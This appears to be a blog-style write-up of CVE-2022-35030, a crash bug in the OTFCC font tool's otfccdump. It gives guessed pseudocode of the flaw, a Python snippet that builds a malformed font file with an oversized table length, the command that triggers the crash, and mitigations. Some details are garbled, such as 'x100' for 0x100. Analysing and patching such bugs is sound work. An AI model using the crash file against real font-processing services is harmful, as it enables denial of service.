CVE-2022-35030 - Segmentation Fault in OTFCC (commit 617837b) Exploitation and Technical Details

In 2022, a vulnerability was uncovered in OTFCC — an open-source OpenType font tool, specifically in commit 617837b. This vulnerability, identified as CVE-2022-35030, can result in a segmentation fault (crash) when a user processes a specially crafted font file using otfccdump. The issue occurs due to improper memory handling, which can be triggered at /release-x64/otfccdump+x4fe954 as described in the original disclosure.

This post explains the background, the technical cause, and how an exploit might look in practice—with simple code, references, and exclusive technical analysis.

What Is OTFCC?

OTFCC (OpenType Font Collection Commander) is a tool to decompile ('dump') or recompile ('build') OpenType font files. It is especially prevalent in the font engineering and reverse engineering communities.

The Vulnerability

The underlying issue is a segmentation violation — better known as a "segfault." This happens when a program tries to access restricted or unreachable memory (like accessing a NULL pointer or going past the end of an array).

This makes the application unstable, and may open the door for denial-of-service attacks. In rare cases, such memory issues can be exploited to run arbitrary code, but for OTFCC, the main concern is a crash and denial-of-service.

Commit Affected:
617837bc958aa7f0418f826c326440623b2072c9
Tool Affected:
otfccdump (in /release-x64/otfccdump)

When processing a malformed (or malicious) font file, the tool crashes at offset x4fe954.

References and Official Sources

* GitHub Issue Report
* Commit 617837b on GitHub
* NVD: CVE-2022-35030
* Exploit DB mirror (if available)

How the Exploit Works

The segfault is triggered by malformed input — in this case, a specially crafted OpenType font file (.otf or .ttf). This can cause the parser in otfccdump to misinterpret data lengths or pointers, resulting in an out-of-bounds access.

Pseudocode: Triggering the Crash

Below is a simplified representation of the logic that leads to the crash. Note: The real code is much more complex, but this basic version shows the core idea — an unchecked access.

// otfccdump pseudo-function
void parse_font(const uint8_t *data, size_t size) {
    // parse font header
    // ...
    uint32_t table_length = read_length(data); 
    uint8_t *table = malloc(table_length);
    
    // Vulnerable: table_length not validated
    memcpy(table, data + header_offset, table_length); 
}

If table_length is taken directly from the file without checks, an attacker can set it to a massive value, causing malloc to fail (table becomes NULL). The subsequent memcpy will then crash.

Building a Proof-of-Concept Exploit

While creating a full exploit requires knowledge of OTF font file structure, the minimal repro is just a font file with a forged table length.

Example: Minimal "Bad Font" (Python snippet to generate)

# This is illustrative. A real exploit would need valid table headers, checksums, etc.
with open("crash.otf", "wb") as f:
    # Simple OTF header
    f.write(b"OTTO")  # OTF magic
    f.write(b"\x00\x01\x00\x00")  # version
    f.write(b"\x00\x00\x00\x01")  # 1 table
    # Table Directory entry -- oversize table length
    f.write(b"badx")               # table tag
    f.write(b"\x00\x00\x00\x01")   # checksum
    f.write(b"\x00\x00\x00\x20")   # offset
    f.write(b"\xff\xff\xff\xff")   # length (huge value, way out of bounds)
    # fill rest
    f.write(b"\x00" * x100)

Now, running

./release-x64/otfccdump crash.otf

...will cause a segmentation fault at the vulnerable code location.

Impact

- Denial of Service: Any service or script that lets users upload and process font files using otfccdump can be crashed remotely.

Automation Chains: Automated font processors using this tool may crash or lose stability.

- Security Context: For OTFCC specifically, there is no evidence of privilege escalation or arbitrary code execution at the time of writing—just a crash.

Update OTFCC: Check for patches or newer versions after August 2022.

2. Input Validation: Only process trusted font files, or run otfccdump with restricted permissions (sandbox).

Inside relevant parsing routines, add bounds checks

if (table_length > MAX_REASONABLE_SIZE || table_length > size - header_offset) {
    // invalid, abort safely
    return ERROR;
}
//...
table = malloc(table_length);
if (!table) return ERROR;

Conclusion

CVE-2022-35030 is a classic example of how unchecked input lengths in file parsers lead to stability and security risks. Even non-web tools like font converters need strong input validation. Font processing pipelines should update to a patched OTFCC, or sandbox untrusted font inputs.

Timeline

Published on: 09/22/2022 17:15:00 UTC
Last modified on: 09/23/2022 03:02:00 UTC